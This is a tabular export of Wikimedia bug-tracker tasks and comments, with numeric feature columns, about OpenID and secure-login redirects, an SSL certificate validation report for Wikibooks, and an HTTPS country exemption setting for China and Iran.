+267899,*-login.data can have case discrepency on Linux host,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534,,,1380948024,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+56512,E:OpenID needs to work with $wgSecureLogin,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.
+
+Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Low,25.0,1380039540,1698244594.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_description,declined,True,c3,1,True,False,False,-93,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2217897,E:OpenID needs to work with $wgSecureLogin,Per {T322820}.,,,1698244594,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,3,True,,,433,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+477200,E:OpenID needs to work with $wgSecureLogin,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!],,,1434636534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+258677,E:OpenID needs to work with $wgSecureLogin,"see also 
+- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/Return_to_Special:Badtitle_instead_of_the_main_page_after_verification_has_succeeded
+- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/https_site_and_Special:Badtitle
+
+which appear to be related bug reports on the extension's talk page.",,,1395817143,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-67,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+258673,E:OpenID needs to work with $wgSecureLogin,"(In reply to comment #5)
+> difficult issue. But let me add what I know.
+> 
+> * Since it was mentioned above, 307 redirects don't seem to work in FF or
+> Chrome for this, otherwise I'd be happy to do that in core. 
+> 
+> * The issue seems to be that when the consumer does the XRDS querries, the
+> provider gives back http:// urls, even with wgSecureLogin enabled.
+> ...
+
+> But that's about as far as I was able to get. So it may be a fix inside of
+> the library
+
+This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.
+
+
+
+Only as a remark, not related to this bug:
+
+I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)",,,1380837599,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,1
+258668,E:OpenID needs to work with $wgSecureLogin,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.
+
+* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 
+
+* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.
+
+But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS.",,,1380837161,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,True,,,-91,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+258663,E:OpenID needs to work with $wgSecureLogin,"perhaps better the other way around, you are right.
+
+Can you help to fix it ?",,,1380809350,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0
+258658,E:OpenID needs to work with $wgSecureLogin,*** Bug 44353 has been marked as a duplicate of this bug. ***,,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258650,E:OpenID needs to work with $wgSecureLogin,"
+
+*** This bug has been marked as a duplicate of bug 44353 ***",,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258643,E:OpenID needs to work with $wgSecureLogin,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it.",,,1380233061,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+56457,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","URL: https://zh.wikibooks.org/w/index.php?title=Special:用户登录&returnto=Wikibooks%3A首页&returntoquery=&fromhttp=1
+Browser: Google Chrome 29.0.1547.66
+OS: Microsoft Windows XP [5.1.2600]
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1379900100,1419431545.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_description,resolved,True,c3,1,False,False,True,-93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+392732,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","resolving this for now as there's no activity and no clear action, feel free to reopen of course",,,1419431545,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+255110,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.
+
+I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)
+
+Do you want to follow up on this on that public computer or one that has the same problem?
+
+If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it.",,,1405166710,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-51,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+255105,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #7)
+> (In reply to comment #6)
+> > On that computer, the reported error was ""issuer not trusted"".
+> 
+> In that case it sounds like it is missing the root and/or intermediate cert
+> of
+> the CA, which in this case is DigiCert.
+> 
+> You could go to:
+> 
+> https://www.digicert.com/digicert-root-certificates.htm
+> 
+> and download them and install in your browser.
+> 
+> It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate
+> cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser
+> should offer some install dialog when you hit download. 
+> 
+> That should make it trust the issuer.
+
+Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states.",,,1380558898,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+255100,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #6)
+> On that computer, the reported error was ""issuer not trusted"".
+
+In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.
+
+You could go to:
+
+https://www.digicert.com/digicert-root-certificates.htm
+
+and download them and install in your browser.
+
+It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 
+
+That should make it trust the issuer.",,,1380558459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+255094,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #4)
+>
+> so i guess there must be some old browsers who don't look at the alt. names
+> but
+> just the main CN and then throw warnings while it isn't a problem for most
+> users.
+
+On that computer, the reported error was ""issuer not trusted"".",,,1380551783,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-92,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,1,1
+255089,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)",Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.,,,1380551707,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0
+255084,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.
+
+
+DNS Name: *.wikipedia.org
+DNS Name: wikipedia.org
+DNS Name: m.wikipedia.org
+DNS Name: *.m.wikipedia.org
+DNS Name: wikibooks.org
+DNS Name: m.wikibooks.org
+DNS Name: *.wikibooks.org
+DNS Name: *.m.wikibooks.org
+...
+
+and more ..
+
+so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users.",,,1380551582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+255079,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #2)
+> How would I realize if it does not validate? Google Chrome says ""Identity
+> verified"" when clicking on the locker icon in the URL bar.
+
+It doesn't say so for me on that computer. You may need to use the same OS to reproduce it.",,,1379940712,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1
+255074,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar.",,,1379938592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+255069,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","Created attachment 13350
+Received SSL cert
+
+**Attached**: {F11896}",,,1379900248,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55999,SSL component vs. tracking bug vs potential ssl keyword,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
+It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
+For example bug 39676 should be under ""Wikimedia > Email"" instead.
+
+2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".
+
+Maybe both should be killed and turned into a ""ssl"" keyword.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1378832040,1416786029.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-25ruekexebdkltbvcvqt,task_description,declined,True,c3,1,True,True,True,-95,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+332310,SSL component vs. tracking bug vs potential ssl keyword,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: https://www.mediawiki.org/wiki/Phabricator/versus_Bugzilla - This task does not make sense anymore in the concept of Phabricator, hence closing as declined.",,,1416786029,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-25ruekexebdkltbvcvqt,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+55739,wmgHTTPSBlacklistCountries changes for CN,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.
+
+'wmgHTTPSBlacklistCountries' => array(
+	'default' => array(
+		'IR', // Iran
+	),
+	'wikipedia' => array(
+		'CN', // China
+		'IR', // Iran
+	),
+),
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+{T54846}
+{T66207}",Low,25.0,1378281480,1434484005.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-aswxwscnrmmqcunfrdq2,task_description,declined,True,c3,1,False,False,True,-96,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1
+475852,wmgHTTPSBlacklistCountries changes for CN,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.,,,1434484005,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,2,True,,,-3,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236712,wmgHTTPSBlacklistCountries changes for CN,"(In reply to Andre Klapper from comment #12)
+> Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)
+
+I can't check it now but per user reports, the current situation is that:
+
+* Desktop sites: no block at all
+* Mobile sites: all projects are blocked
+
+... and this can't be described with our configuration array. :/
+
+Should we still be playing this cat & mouse game?",,,1395428710,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-67,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+236705,wmgHTTPSBlacklistCountries changes for CN,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)",,,1395322745,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-67,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0
+236698,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #10)
+> Liangent: Situation is still as described in comment 8?
+
+OK but it's reported by users that HTTPS is not blocked at all now...",,,1389295226,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-77,True,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+236693,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1389270599,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+236690,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1385134766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-84,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+236686,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #7)
+> Change 84781 merged by jenkins-bot:
+> wmgHTTPSBlacklistCountries changes for CN
+> 
+> https://gerrit.wikimedia.org/r/84781
+
+Is this correctly patched & deployed?
+
+It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match.",,,1380458356,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+236682,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 merged by jenkins-bot:
+wmgHTTPSBlacklistCountries changes for CN
+
+https://gerrit.wikimedia.org/r/84781",,,1379702455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236677,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 had a related patch set uploaded by Reedy:
+wmgHTTPSBlacklistCountries changes for CN
+
+https://gerrit.wikimedia.org/r/84781",,,1379529615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236671,wmgHTTPSBlacklistCountries changes for CN,"'wmgHTTPSBlacklistCountries' => array(
+    'default' => array(
+        'IR', // Iran
+    ),
+    '+wikipedia' => array(
+        'IR', // Iran
+    ),
+),
+
+
